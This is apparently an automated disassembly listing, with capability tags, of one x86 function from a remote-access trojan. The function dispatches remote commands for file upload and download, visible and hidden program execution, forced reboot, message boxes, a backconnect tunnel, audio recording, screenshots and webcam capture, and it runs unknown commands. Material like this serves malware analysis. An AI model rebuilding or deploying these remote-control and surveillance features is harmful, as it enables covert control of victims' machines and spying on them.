Function at 0x40b6a0
Capabilities:
Check if file exists
Create process on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x438176
mov eax, dword fs:[0]
push eax
add esp, 0xfffffbb0
mov eax, dword [0x441480]
xor eax, esp
mov dword [esp + 0x448], eax
push ebx
push esi
push edi
mov eax, dword [0x441480]
xor eax, esp
push eax
lea eax, [esp + 0x460]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
push 0x100
lea eax, [esp + 0x258]
push eax
xor esi, esi
push esi
push esi
push ebx
lea edi, [esp + 0x28]
mov dword [esp + 0x28], esi
call fcn.00405130
add esp, 0x14
mov ecx, 0x43e188
lea eax, [esp + 0x254]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b731
or dl, dl
je 0x40b72d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b731
sub eax, 0xfffffffe
sub ecx, 0xfffffffe
or dl, dl
jne 0x40b711
xor eax, eax
jmp 0x40b736
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, esi
jne 0x40b9c2
push 0x100
lea ecx, [esp + 0x158]
push ecx
push 0x22
push 0x22
push ebx
lea edi, [esp + 0x28]
call fcn.00405130
lea ebx, [esp + 0x168]
sub esp, 0xffffffec
lea edx, [ebx + 1]
mov cl, byte [ebx]
inc ebx
or cl, cl
jne 0x40b766
sub ebx, edx
cmp byte [esp + ebx + 0x153], 0x5c
je 0x40b793
lea edi, [esp + 0x154]
dec edi
mov bl, byte [edi + 1]
inc edi
or bl, bl
jne 0x40b781
mov dx, word [0x43e18c]
mov word [edi], dx
lea eax, [esp + 0x154]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
or eax, eax
je 0x40b990
push 1
call fcn.00422819
sub esp, 0xfffffffc
mov dword [esp + 0x14c], eax
mov dword [esp + 0x150], esi
mov dword [esp + 0x468], esi
lea eax, [esp + 0x154]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x40b7d2
sub eax, edx
sub eax, 0xfffffff0
push eax
call fcn.0041ff97
mov ebx, eax
sub esp, 0xfffffffc
lea ecx, [esp + 0x154]
push ecx
push str.Listing_of__s:_n_n
push ebx
call fcn.00420bd5
mov eax, ebx
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b804
push ebx
sub eax, edx
lea esi, [esp + 0x150]
mov edi, eax
call fcn.004050e0
push ebx
call fcn.00420c59
lea eax, [esp + 0x158]
lea edx, [eax + 1]
sub esp, 0xfffffffc
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b830
sub eax, edx
add eax, 8
push eax
call fcn.0041ff97
sub esp, 0xfffffffc
mov ebx, eax
lea edx, [esp + 0x154]
push edx
push 0x43e1a4
push ebx
mov dword [esp + 0x24], ebx
call fcn.00420bd5
sub esp, 0xfffffff4
lea eax, [esp + 0x24]
push eax
push ebx
call fcn.00422c32
sub esp, 0xfffffff8
mov dword [esp + 0x20], eax
or eax, eax
je 0x40b945
cmp eax, 0xffffffff
je 0x40b945
mov edi, dword [esp + 0x150]
mov ebx, dword [esp + 0x14c]
lea eax, [esp + 0x48]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x40b8a0
sub eax, edx
lea esi, [edi + eax]
lea ecx, [esi + 1]
push ecx
push ebx
mov dword [esp + 0x1c], eax
call fcn.004228ad
mov ecx, edi
add esp, 8
cmp edi, esi
jge 0x40b8e0
mov edx, dword [esp + 0x14]
add edx, edi
mov dword [esp + 0x14], edx
lea edx, [esp + 0x48]
sub edx, edi
mov bl, byte [ecx + edx]
mov byte [ecx + eax], bl
inc ecx
cmp ecx, dword [esp + 0x14]
jl 0x40b8d3
lea ecx, [esi + 2]
push ecx
push eax
mov byte [esi + eax], 0
call fcn.004228ad
mov ebx, eax
sub esp, 0xfffffff8
mov eax, esi
lea edi, [esi + 1]
cmp esi, edi
jge 0x40b90e
mov ecx, 0x43e1ac
sub ecx, esi
mov dl, byte [eax + ecx]
mov byte [eax + ebx], dl
inc eax
cmp eax, edi
jl 0x40b903
mov esi, dword [esp + 0x20]
lea eax, [esp + 0x24]
push eax
push esi
mov dword [esp + 0x158], edi
mov byte [edi + ebx], 0
call fcn.00422d59
add esp, 8
or eax, eax
je 0x40b892
push esi
mov dword [esp + 0x150], ebx
call fcn.00422e87
add esp, 4
jmp 0x40b94c
mov ebx, dword [esp + 0x14c]
mov ecx, dword [esp + 0x18]
push ecx
call fcn.00420c59
add esp, 4
mov edi, edi
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b960
sub eax, edx
inc eax
push eax
call fcn.0041ff97
sub esp, 0xfffffffc
mov esi, eax
mov eax, ebx
mov edx, esi
sub edx, ebx
jmp 0x40b980
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x40b980
push ebx
jmp 0x40c304
push 0x20
call fcn.0041ff97
mov edx, dword [str.DIR_NOT_FOUND]
mov esi, eax
mov dword [esi], edx
mov eax, dword [0x43e1b4]
mov dword [esi + 4], eax
mov eax, dword [0x43e1b8]
mov dword [esi + 8], eax
mov dx, word [0x43e1bc]
mov word [esi + 0xc], dx
jmp 0x40c309
mov ecx, str.upload
lea eax, [esp + 0x254]
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b9f0
or dl, dl
je 0x40b9ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b9f0
add eax, 2
sub ecx, 0xfffffffe
test dl, dl
jne 0x40b9d0
xor eax, eax
jmp 0x40b9f5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, esi
jne 0x40bc1c
push 0x100
lea eax, [esp + 0x158]
push eax
push 0x22
push 0x22
push ebx
lea edi, [esp + 0x28]
call fcn.00405130
sub esp, 0xffffffec
call fcn.004015f0
cmp byte [0x444a85], 0
mov edi, eax
mov dword [esp + 0x14], edi
jne 0x40ba3b
call fcn.004060f0
mov byte [0x444a85], 1
mov ecx, dword [0x444b3c]
mov eax, dword [ecx + 0x94]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x40ba50
sub eax, edx
mov esi, eax
call fcn.00405f40
lea ebx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40ba63
sub eax, ebx
mov edx, eax
lea eax, [esp + 0x154]
lea ebx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40ba78
sub eax, ebx
add eax, edx
lea edx, [eax + esi + 0x80]
push edx
call fcn.0041ff97
sub esp, 0xfffffffc
mov esi, eax
lea eax, [esp + 0x154]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
or eax, eax
je 0x40bbd0
lea eax, [esp + 0x154]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40bab5
sub eax, edx
inc eax
push eax
call fcn.0041ff97
mov ebx, eax
lea eax, [esp + 0x158]
sub esp, 0xfffffffc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40bad4
sub eax, edx
inc eax
push eax
call fcn.0041ff97
sub esp, 0xfffffffc
mov edi, eax
push edi
push ebx
push 0
lea ecx, [esp + 0x160]
push 0
push ecx
call fcn.00423615
sub esp, 0xffffffec
cmp byte [0x444a85], 0
jne 0x40bb14
call fcn.004060f0
mov byte [0x444a85], 1
mov edx, dword [0x444b3c]
mov eax, dword [edx + 0x94]
push edi
push ebx
mov dword [esp + 0x20], eax
call fcn.00405f40
mov ecx, dword [esp + 0x20]
push eax
push ecx
push str._s_comp_sext_s._s
push esi
call fcn.00420bd5
push ebx
call fcn.00420c59
add esp, 0x1c
push edi
call fcn.00420c59
mov ecx, dword [esp + 0x18]
sub esp, 0xfffffffc
push esi
lea edx, [esp + 0x158]
call fcn.00404910
mov ebx, dword [esp + 0x18]
add esp, 4
or eax, eax
jne 0x40bb8d
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call edi
push esi
mov ecx, ebx
lea edx, [esp + 0x158]
call fcn.00404910
add esp, 4
test eax, eax
je 0x40bb70
push ebx
call fcn.00420c59
add esp, 4
push esi
call fcn.00420c59
sub esp, 0xfffffffc
push 0x20
call fcn.0041ff97
mov esi, dword [str.FILE_UPLOADED]
mov dword [eax], esi
mov ebx, dword [0x43e1cc]
mov dword [eax + 4], ebx
mov edx, dword [0x43e1d0]
mov dword [eax + 8], edx
mov bx, word [0x43e1d4]
mov word [eax + 0xc], bx
jmp 0x40c30b
push edi
call fcn.00420c59
sub esp, 0xfffffffc
push esi
call fcn.00420c59
add esp, 4
push 0x20
call fcn.0041ff97
mov ebx, dword [str.FILE_NOT_FOUND]
mov dword [eax], ebx
mov ecx, dword [0x43e1dc]
mov dword [eax + 4], ecx
mov edx, dword [0x43e1e0]
mov dword [eax + 8], edx
mov cx, word [0x43e1e4]
mov word [eax + 0xc], cx
mov dl, byte [0x43e1e6]
mov byte [eax + 0xe], dl
jmp 0x40c30b
mov ecx, str.download
lea eax, [esp + 0x254]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40bc48
or dl, dl
je 0x40bc44
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40bc48
sub eax, 0xfffffffe
add ecx, 2
or dl, dl
jne 0x40bc28
xor eax, eax
jmp 0x40bc4d
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, esi
jne 0x40bd21
push 0x20
call fcn.0041ff97
mov esi, eax
sub esp, 0xfffffffc
push 0x100
lea eax, [esp + 0x28]
push eax
push 0x22
push 0x22
push ebx
lea edi, [esp + 0x28]
call fcn.00405130
add esp, 0x14
push 0x100
lea ecx, [esp + 0x158]
push ecx
push 0x22
push 0x22
push ebx
call fcn.00405130
sub esp, 0xffffffec
push 0x100
lea edx, [esp + 0x358]
push edx
push 0x22
push 0x22
push ebx
call fcn.00405130
lea eax, [esp + 0x168]
add esp, 0x14
push eax
lea edx, [esp + 0x358]
lea ecx, [esp + 0x28]
call fcn.00404510
sub esp, 0xfffffffc
or eax, eax
je 0x40bcf8
mov ebx, dword [str.FILE_DOWNLOADED]
mov dword [esi], ebx
mov edx, dword [0x43e1f8]
mov dword [esi + 4], edx
mov eax, dword [0x43e1fc]
mov dword [esi + 8], eax
mov ecx, dword [0x43e200]
mov dword [esi + 0xc], ecx
mov eax, esi
jmp 0x40c30e
mov eax, dword [str.DOWNLOAD_FAILED]
mov dword [esi], eax
mov eax, dword [0x43e208]
mov dword [esi + 4], eax
mov ebx, dword [0x43e20c]
mov dword [esi + 8], ebx
mov edx, dword [0x43e210]
mov dword [esi + 0xc], edx
mov eax, esi
jmp 0x40c30e
mov ecx, str.exec_show
lea eax, [esp + 0x254]
lea ecx, [ecx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40bd50
or dl, dl
je 0x40bd4c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40bd50
sub eax, 0xfffffffe
sub ecx, 0xfffffffe
test dl, dl
jne 0x40bd30
xor eax, eax
jmp 0x40bd55
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, esi
jne 0x40be0e
push 0x20
call fcn.0041ff97
mov esi, eax
sub esp, 0xfffffffc
push 0x100
lea eax, [esp + 0x358]
push eax
push 0x22
push 0x22
push ebx
lea edi, [esp + 0x28]
call fcn.00405130
sub esp, 0xffffffec
push 0x100
lea ecx, [esp + 0x28]
push ecx
push 0x22
push 0x22
push ebx
call fcn.00405130
add esp, 0x14
push 5
push 0
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x360]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 2
je 0x40bddb
mov cx, word [0x43e220]
mov word [esi], cx
mov dl, byte [0x43e222]
mov byte [esi + 2], dl
mov eax, esi
jmp 0x40c30e
mov eax, dword [str.FILE_NOT_FOUND]
mov dword [esi], eax
mov ecx, dword [0x43e1dc]
mov dword [esi + 4], ecx
mov edx, dword [0x43e1e0]
mov dword [esi + 8], edx
mov ax, word [0x43e1e4]
mov word [esi + 0xc], ax
mov cl, byte [0x43e1e6]
mov byte [esi + 0xe], cl
mov eax, esi
jmp 0x40c30e
mov ecx, str.exec_hide
lea ebx, [ebx]
lea eax, [esp + 0x254]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40be40
test dl, dl
je 0x40be3c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40be40
sub eax, 0xfffffffe
add ecx, 2
test dl, dl
jne 0x40be20
xor eax, eax
jmp 0x40be45
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, esi
jne 0x40befd
push 0x20
call fcn.0041ff97
add esp, 4
push 0x100
lea edx, [esp + 0x358]
push edx
mov esi, eax
push 0x22
push 0x22
push ebx
lea edi, [esp + 0x28]
call fcn.00405130
add esp, 0x14
push 0x100
lea eax, [esp + 0x28]
push eax
push 0x22
push 0x22
push ebx
call fcn.00405130
add esp, 0x14
push 0
push 0
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x360]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 2
je 0x40beca
mov ax, word [0x43e220]
mov word [esi], ax
mov cl, byte [0x43e222]
mov byte [esi + 2], cl
mov eax, esi
jmp 0x40c30e
mov edx, dword [str.FILE_NOT_FOUND]
mov dword [esi], edx
mov eax, dword [0x43e1dc]
mov dword [esi + 4], eax
mov ebx, dword [0x43e1e0]
mov dword [esi + 8], ebx
mov dx, word [0x43e1e4]
mov word [esi + 0xc], dx
mov al, byte [0x43e1e6]
mov byte [esi + 0xe], al
mov eax, esi
jmp 0x40c30e
mov ecx, str.reboot
lea eax, [esp + 0x254]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40bf30
test dl, dl
je 0x40bf2c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40bf30
add eax, 2
add ecx, 2
or dl, dl
jne 0x40bf10
xor eax, eax
jmp 0x40bf35
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, esi
jne 0x40bf6e
push 0
push 0
push str._r__t_0
push str.shutdown
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x20
call fcn.0041ff97
mov ecx, 7
mov esi, str.SYSTEM_GOING_FOR_REBOOT_NOW
mov edi, eax
rep movsd dword es:[edi], dword [esi]
jmp 0x40c30b
mov ecx, str.msgbox
lea eax, [esp + 0x254]
lea ebx, [ebx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40bfa0
or dl, dl
je 0x40bf9c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40bfa0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40bf80
xor eax, eax
jmp 0x40bfa5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, esi
jne 0x40c039
push 0x100
lea ecx, [esp + 0x358]
push ecx
push 0x22
push 0x22
push ebx
lea edi, [esp + 0x28]
call fcn.00405130
sub esp, 0xffffffec
push 0x100
lea edx, [esp + 0x28]
push edx
push 0x22
push 0x22
push ebx
call fcn.00405130
sub esp, 0xffffffec
push 0x40
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x35c]
push ecx
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x20
call fcn.0041ff97
mov ebx, dword [str.MESSAGEBOX_DISPLAYED]
mov dword [eax], ebx
mov edx, dword [0x43e274]
mov dword [eax + 4], edx
mov edx, dword [0x43e278]
mov dword [eax + 8], edx
mov ecx, dword [0x43e27c]
mov dword [eax + 0xc], ecx
mov edx, dword [0x43e280]
mov dword [eax + 0x10], edx
mov cl, byte [0x43e284]
mov byte [eax + 0x14], cl
jmp 0x40c30b
mov ecx, str.backconnect
lea eax, [esp + 0x254]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40c065
test dl, dl
je 0x40c061
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40c065
add eax, 2
add ecx, 2
test dl, dl
jne 0x40c045
xor eax, eax
jmp 0x40c06a
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, esi
jne 0x40c120
push 0x100
call fcn.0041ff97
add esp, 4
mov esi, eax
push 0x100
push esi
push 0x22
push 0x22
push ebx
lea edi, [esp + 0x28]
call fcn.00405130
sub esp, 0xffffffec
push 8
lea edx, [esp + 0x150]
push edx
push 0x22
push 0x22
push ebx
call fcn.00405130
lea eax, [esp + 0x160]
sub esp, 0xffffffec
push eax
mov dword [0x444a78], esi
call fcn.00423677
add esp, 4
push 0
push 0
push 0
push 0x40b0d0
push 0
push 0
mov dword [0x444a90], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x20
call fcn.0041ff97
mov ebx, dword [str.TUNNEL_THREAD_CALLED]
mov dword [eax], ebx
mov ecx, dword [0x43e298]
mov dword [eax + 4], ecx
mov ecx, dword [0x43e29c]
mov dword [eax + 8], ecx
mov edx, dword [0x43e2a0]
mov dword [eax + 0xc], edx
mov edi, dword [0x43e2a4]
mov dword [eax + 0x10], edi
mov dl, byte [0x43e2a8]
mov byte [eax + 0x14], dl
jmp 0x40c30b
mov ecx, str.recorder
lea eax, [esp + 0x254]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40c150
or dl, dl
je 0x40c14c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40c150
add eax, 2
add ecx, 2
test dl, dl
jne 0x40c130
xor eax, eax
jmp 0x40c155
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, esi
jne 0x40c194
push esi
push esi
lea eax, [esp + 0x20]
push eax
push 0x409ed0
push esi
push esi
mov dword [esp + 0x30], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x20
call fcn.0041ff97
mov cx, word [0x43e220]
mov word [eax], cx
mov dl, byte [0x43e222]
mov byte [eax + 2], dl
jmp 0x40c30b
mov ecx, str.screenshot
lea edi, [esp + 0x254]
mov dl, byte [edi]
cmp dl, byte [ecx]
jne 0x40c1c0
or dl, dl
je 0x40c1bc
mov dl, byte [edi + 1]
cmp dl, byte [ecx + 1]
jne 0x40c1c0
add edi, 2
add ecx, 2
or dl, dl
jne 0x40c1a0
xor edi, edi
jmp 0x40c1c5
sbb edi, edi
sbb edi, 0xffffffff
cmp edi, esi
jne 0x40c1d7
push esi
push esi
lea eax, [esp + 0x20]
push eax
push 0x40a180
jmp 0x40c165
mov ecx, str.webcam
lea eax, [esp + 0x254]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40c203
test dl, dl
je 0x40c1ff
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40c203
add eax, 2
add ecx, 2
test dl, dl
jne 0x40c1e3
xor eax, eax
jmp 0x40c208
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, esi
jne 0x40c21d
push esi
push esi
lea eax, [esp + 0x20]
push eax
push 0x40cd20
jmp 0x40c165
lea esi, [esp + 0x14c]
call fcn.004050a0
push 0x43c300
push ebx
mov dword [esp + 0x470], 1
call fcn.004236e0
mov ebx, eax
sub esp, 0xfffffff8
or ebx, ebx
je 0x40c293
push ebx
call fcn.00420fbc
add esp, 4
test eax, eax
jne 0x40c28a
push ebx
push 1
lea eax, [esp + 0x27]
push 1
push eax
call fcn.004220ca
mov edi, 1
add esp, 0x10
lea ecx, [esp + 0x1f]
push ecx
lea esi, [esp + 0x150]
call fcn.004050e0
push ebx
call fcn.00420fbc
sub esp, 0xfffffffc
or eax, eax
je 0x40c255
push ebx
call fcn.004226f5
add esp, 4
mov edi, dword [esp + 0x14c]
mov eax, dword [esp + 0x150]
cmp eax, 3
jl 0x40c2cc
sub eax, 0xfffffffc
push eax
call fcn.0041ff97
mov esi, eax
sub esp, 0xfffffffc
mov eax, edi
lea ebx, [ebx]
mov edx, esi
sub edx, edi
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
or cl, cl
jne 0x40c2c0
jmp 0x40c303
lea eax, [esp + 0x254]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40c2d6
sub eax, edx
add eax, 0x20
push eax
call fcn.0041ff97
sub esp, 0xfffffffc
mov esi, eax
lea edx, [esp + 0x254]
push edx
push str.UNKNOWN_COMMAND_____s_
push esi
call fcn.00420bd5
sub esp, 0xfffffff4
push edi
call fcn.004214f1
mov eax, esi
add esp, 4
mov edi, dword [esp + 0x460]
mov dword fs:[0], edi
pop ebx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x448]
xor ecx, esp
call fcn.00420bc6
mov esp, ebp
pop ebp
ret